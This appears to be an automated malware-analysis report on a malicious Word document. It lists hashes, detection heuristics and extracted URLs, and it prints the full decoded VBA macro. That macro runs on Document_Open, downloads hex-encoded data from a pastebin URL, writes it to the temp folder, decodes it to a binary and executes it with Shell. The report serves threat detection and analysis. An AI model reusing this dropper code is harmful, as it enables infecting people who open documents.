Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 fdfa80246b476790…

MALICIOUS

Office (OOXML)

123.1 KB Created: 2020-01-26 05:59:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-10
MD5: ad1bc2ca12c1b7873718e37f7280bbc4 SHA-1: e0c59648906b92feec8ac754b459a39393359f0e SHA-256: fdfa80246b476790236ce611a69cbb58314e002e14bc3153eb373880c8dcfd06
290 Risk Score

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    linesS_ = Shell(durationDate)
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    linesS_ = Shell(durationDate)
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    clientTexture.Write varDate.ResponseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set varDate = CreateObject(theCap)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • https://pastebin.com/raw/srsUj2TLReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3234 bytes
SHA-256: 6258c5b754385492449e4a0fd5937f7af6fa20e61aabeb2e4e3f9b1f5121ef7c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function GetTempPath Lib "kernel32" _
Alias "GetTempPathA" (ByVal nSize As Long, ByVal lpBuffer As String) As Long





Sub Document_Open()
    On Error Resume Next
    Dim methodWrap0 As String * 512
    Dim newTexture As String
    Dim objfaxFree   As Long

    objfaxFree = GetTempPath(512, methodWrap0)

    If objfaxFree <> 0 Then
        newTexture = Mid(methodWrap0, 1, objfaxFree)
    Else
        Exit Sub
    End If
   
Dim bytesExpired As String, sizeWhite As String
bytesExpired = Time
bytesExpired = Replace(bytesExpired, ":", "YJEyhEd")
sizeWhite = newTexture & "whrSdYYP" & bytesExpired & ".onsb"
theCap = "Microsoft.XMLHTTP"
theCap0 = "https://pastebin.com/raw/srsUj2TL"
carBound = "ADODB.Stream"
objfaxCommand = "Scripting.FileSystemObject"

methodShadow theCap0, sizeWhite, theCap, objfaxCommand, carBound
methodWrap sizeWhite

durationDate = """" & sizeWhite & """"
linesS_ = Shell(durationDate)

End Sub
Public Sub methodShadow(theCap0, carReference, theCap, objfaxCommand, carBound)
Set varDate = CreateObject(theCap)
varDate.Open "GET", theCap0, False
varDate.Send
Set clientTexture = CreateObject(carBound)
clientTexture.Type = 1
clientTexture.Open
clientTexture.Write varDate.ResponseBody
clientTexture.SaveToFile carReference, 2
Dim objfaxAdsi
Set objfaxAdsi = CreateObject(objfaxCommand)
End Sub
Private Sub methodWrap(sizeS_ As String)
    Dim countryExpired As String
    Dim currentdirWhite As String
    Dim durationPolicy() As Byte
    Dim firstnameFree

    firstnameFree = FreeFile
    Open sizeS_ For Input Access Read As #firstnameFree
    Do While Not EOF(firstnameFree)
        Line Input #firstnameFree, currentdirWhite
        countryExpired = countryExpired & currentdirWhite
    Loop
    Close #firstnameFree
    
    durationPolicy = methodHanja(countryExpired)
    
    firstnameFree = FreeFile
    
    Open sizeS_ For Binary As #firstnameFree
        Put #firstnameFree, 1, durationPolicy
    Close #firstnameFree
End Sub
Private Function methodHanja(linesCommand As String) As Byte()


Dim durationPolicy() As Byte
Dim catalogShadow As Long
Dim objfaxCommand0 As Long
Dim saleAdsi As Long
Dim daysPattern0 As String

daysPattern0 = "0123456789ABCDEF"

Dim daysPattern As Long
daysPattern = Len(linesCommand)

ReDim durationPolicy(daysPattern / 2)
newBound = 0
objfaxCommand0 = -1
For catalogShadow = 1 To daysPattern
    saleAdsi = InStr(daysPattern0, UCase$(Mid$(linesCommand, catalogShadow, 1))) - 1
    If saleAdsi >= 0 Then
        If objfaxCommand0 < 0 Then
            objfaxCommand0 = saleAdsi
        Else
            durationPolicy(newBound) = objfaxCommand0 * 16 + saleAdsi
            newBound = newBound + 1
            objfaxCommand0 = -1
        End If
    End If
Next

ReDim Preserve durationPolicy(newBound - 1)
methodHanja = durationPolicy
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 143360 bytes
SHA-256: 02d7f490d88c9919742dd31a0bde5e38dd21ff887ce313e58335c77c20fbadb1

Open this report in the interactive analyzer, or submit your own file for analysis.